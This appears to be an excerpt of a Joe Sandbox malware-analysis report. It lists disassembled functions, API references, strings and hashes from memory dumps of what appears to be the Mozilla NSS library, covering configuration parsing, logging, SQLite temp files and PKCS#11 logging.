Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 257b6d56c1ad8cc807998881ed8e622fc08aaeaa9fa3e77495b18507e3c30ba5
Instruction ID: 30977dca6d5333b1fa3d3e6f4e60e62867a1a4424ba2302040f9ce4717bfddaa
Opcode Fuzzy Hash: 257b6d56c1ad8cc807998881ed8e622fc08aaeaa9fa3e77495b18507e3c30ba5
Instruction Fuzzy Hash: 87611F7078D184C6E62C4D4C81AD37C3124EB03314F69B377E6A28EF91C695EAC74697

Function 6CAF5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CAF5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAF5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CAF5E5C
free.MOZGLUE(00000000), ref: 6CAF5E7E
free.MOZGLUE(00000000), ref: 6CAF5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CAF5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CAF5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAF5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CAF5EF0
free.MOZGLUE(00000000), ref: 6CAF5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAF5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CAF5F5B
free.MOZGLUE(00000000), ref: 6CAF5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CAF5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CAF5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAF5FC4
free.MOZGLUE(00000000), ref: 6CAF5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF5FE9
free.MOZGLUE(00000000), ref: 6CAF5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CAF605A
PR_smprintf.NSS3(6CBCAAF9,00000000), ref: 6CAF606A
free.MOZGLUE(00000000), ref: 6CAF607C
free.MOZGLUE(00000000), ref: 6CAF609A
free.MOZGLUE(00000000), ref: 6CAF60B2
free.MOZGLUE(?), ref: 6CAF60CE

Strings

noModDB, xrefs: 6CAF5EEA
readOnly, xrefs: 6CAF5E56
%s/%s, xrefs: 6CAF6055
configDir=, xrefs: 6CAF5F9D
forceSecmodChoice, xrefs: 6CAF5F55
secmod=, xrefs: 6CAF5FB1
flags, xrefs: 6CAF5E3A, 6CAF5EC6, 6CAF5F30
pkcs11.txt, xrefs: 6CAF5F47, 6CAF5F7C, 6CAF603A, 6CAF6053
secmod.db, xrefs: 6CAF5EA0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2bddc1b80760830cb1569d056ab6122cb7c29a4a9928b9440c36025b2a75a516
Instruction ID: 574a13a1e086f4427d36bc7a68a150a5511a4ce22de439d56db3ee9a35149640
Opcode Fuzzy Hash: 2bddc1b80760830cb1569d056ab6122cb7c29a4a9928b9440c36025b2a75a516
Instruction Fuzzy Hash: 5291C4F4E042555BEF018F24DC81BAA3BA49F0639CF1C4060FC659BB42E735D99AC7A2

Function 6CA81D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CA81DA3

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CA81DB2

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA81DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CA81E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CA81EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CA81ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CA81EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CA81F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CA81F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CA81F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CA81F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA81F83
PR_SetLogFile.NSS3(00000000), ref: 6CA81FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CA81FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CA81FCB
free.MOZGLUE(00000000), ref: 6CA81FD2

Strings

append, xrefs: 6CA81EE6
sync, xrefs: 6CA81E46
NSPR_LOG_FILE, xrefs: 6CA81F69
NSPR_LOG_MODULES, xrefs: 6CA81DAD
all, xrefs: 6CA81F0E
bufsize, xrefs: 6CA81E9B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CA81E27
timestamp, xrefs: 6CA81EC4
Unable to create nspr log file '%s', xrefs: 6CA81FB3
, %n, xrefs: 6CA81E6B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: b24737549ba8b4e45b4d8e21d0dc715b5ef0b7dbcc5e0f7bad449119193582f5
Instruction ID: 5956ed0d5aac1ce518e2e3b7e917f04edf5332ffdb1d16d8a288a87aba1c5591
Opcode Fuzzy Hash: b24737549ba8b4e45b4d8e21d0dc715b5ef0b7dbcc5e0f7bad449119193582f5
Instruction Fuzzy Hash: BC51A5B1E052499BDF00DBE4DD44BAE7BB8AF05348F0C0529E926DBA00F770D998CB91

Function 6CB66E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CA2BE66), ref: 6CB66E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CA2BE66), ref: 6CB66E98
sqlite3_snprintf.NSS3(?,00000000,6CBCAAF9,?,?,?,?,?,?,6CA2BE66), ref: 6CB66EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CA2BE66), ref: 6CB66ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CA2BE66), ref: 6CB66EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CA2BE66), ref: 6CB66FA6
sqlite3_snprintf.NSS3(?,00000000,6CBCAAF9,00000000,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB67014
sqlite3_free.NSS3(00000000,?,?,?,?,6CA2BE66), ref: 6CB6701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CA2BE66), ref: 6CB67030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB6705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CA2BE66), ref: 6CB67079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB67097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB670A0

Strings

winGetTempname4, xrefs: 6CB67046
mz_etilqs_, xrefs: 6CB66F18
winGetTempname1, xrefs: 6CB6708F
winGetTempname5, xrefs: 6CB67071
winGetTempname2, xrefs: 6CB670C4

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 784c397faa629d1b765d481d48113c4ee8fb35c8f1bf35d67cb3704760fee9a5
Instruction ID: 77fe718012acb91ad50bbe4e3a34770b70e53d534296a595b8d63baa8b706d50
Opcode Fuzzy Hash: 784c397faa629d1b765d481d48113c4ee8fb35c8f1bf35d67cb3704760fee9a5
Instruction Fuzzy Hash: 0D518BB1A0429167E7009631DD51BBF366ADF92318F144638E815A7FC1FB35A81EC2E3

Function 6CAF4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000,00000000,00000001), ref: 6CAF5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAF5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CAF5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAF50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2), ref: 6CAF50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5153
free.MOZGLUE(?), ref: 6CAF516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5195

Strings

parameters=, xrefs: 6CAF506B
nss=, xrefs: 6CAF5083
config=, xrefs: 6CAF509B
name=, xrefs: 6CAF5057
library=, xrefs: 6CAF5043

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: f46760dd6ca685ed62fd2f0b013451bed5ef88870d23bb01b8898fddb228cf11
Instruction ID: 3c5a9baec81f0903cacfd609aa740c47c515b0da055c06b30af03d8af949c1a1
Opcode Fuzzy Hash: f46760dd6ca685ed62fd2f0b013451bed5ef88870d23bb01b8898fddb228cf11
Instruction Fuzzy Hash: E05182B5A012556FEB01DF24DC41AAF37A8AF06248F184020FC65E7741EB35F95ACBB6

Function 6CAC8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CAC8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8EB3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CAC8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAC8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CAC8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CAC8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CAC9047

Strings

hSession = 0x%x, xrefs: 6CAC8E8E, 6CAC8E9E
hKey = 0x%x, xrefs: 6CAC8F5B, 6CAC8F6B
pulWrappedKeyLen = 0x%p, xrefs: 6CAC8FC8
hWrappingKey = 0x%x, xrefs: 6CAC8F01, 6CAC8F11
(CK_INVALID_HANDLE), xrefs: 6CAC8EAC, 6CAC8F1F, 6CAC8F79
C_WrapKey, xrefs: 6CAC8E71
pMechanism = 0x%p, xrefs: 6CAC8EE0
pWrappedKey = 0x%p, xrefs: 6CAC8FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6CAC9042

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 652ca2267c0c1538960e2b1e3a3d0a5230a174957fde797cdf01057b29cb0596
Instruction ID: d2da05ded6fa6f1a0bf1235b3851870de9241ac84d623ef1b3649b833e6aa0e1
Opcode Fuzzy Hash: 652ca2267c0c1538960e2b1e3a3d0a5230a174957fde797cdf01057b29cb0596
Instruction Fuzzy Hash: C551E335701195ABDB008F54EE48F9E7B76FB4231CF088026F9196BB12DB309999CB97

Function 6CAF4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C5B
PR_smprintf.NSS3(6CBCAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CAF4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CAF4DA2
free.MOZGLUE(?), ref: 6CAF4DB9
free.MOZGLUE(00000000), ref: 6CAF4DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CAF4D9D
0x%08lx=[%s %s], xrefs: 6CAF4D80
ootT, xrefs: 6CAF4D1A
timeout, xrefs: 6CAF4C91
rootFlags, xrefs: 6CAF4D47
any, xrefs: 6CAF4C96
%s,%s, xrefs: 6CAF4C4B
rust, xrefs: 6CAF4D22
slotFlags, xrefs: 6CAF4D34
every, xrefs: 6CAF4CA1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 14b488833664f9cf08aa6c64a9c399dcdad7008c43318d71176b523172164eb0
Instruction ID: 9d4778d51689965da7e591d651d7c7f70e1a37a8f0f23b6ad23d14cbdc17be30
Opcode Fuzzy Hash: 14b488833664f9cf08aa6c64a9c399dcdad7008c43318d71176b523172164eb0
Instruction Fuzzy Hash: C7418CB1E001816BEB119F589D40ABF3A75AF9635CF084124FC265B701E731D9AAC7E3

Function 6CA9DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9DDDE

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CA9DDF5

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA9DE34
PR_Now.NSS3 ref: 6CA9DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CA9DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA9DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA9DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CA9DEF0
PR_smprintf.NSS3(6CBCAAF9,(NULL) (Validity Unknown)), ref: 6CA9DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA9DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA9DF33
free.MOZGLUE(00000000), ref: 6CA9DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9DF4B
free.MOZGLUE(00000000), ref: 6CA9DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9DF8E

Strings

%s%s, xrefs: 6CA9DEEB
{???}, xrefs: 6CA9DE8B
(NULL) (Validity Unknown), xrefs: 6CA9DEFA

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

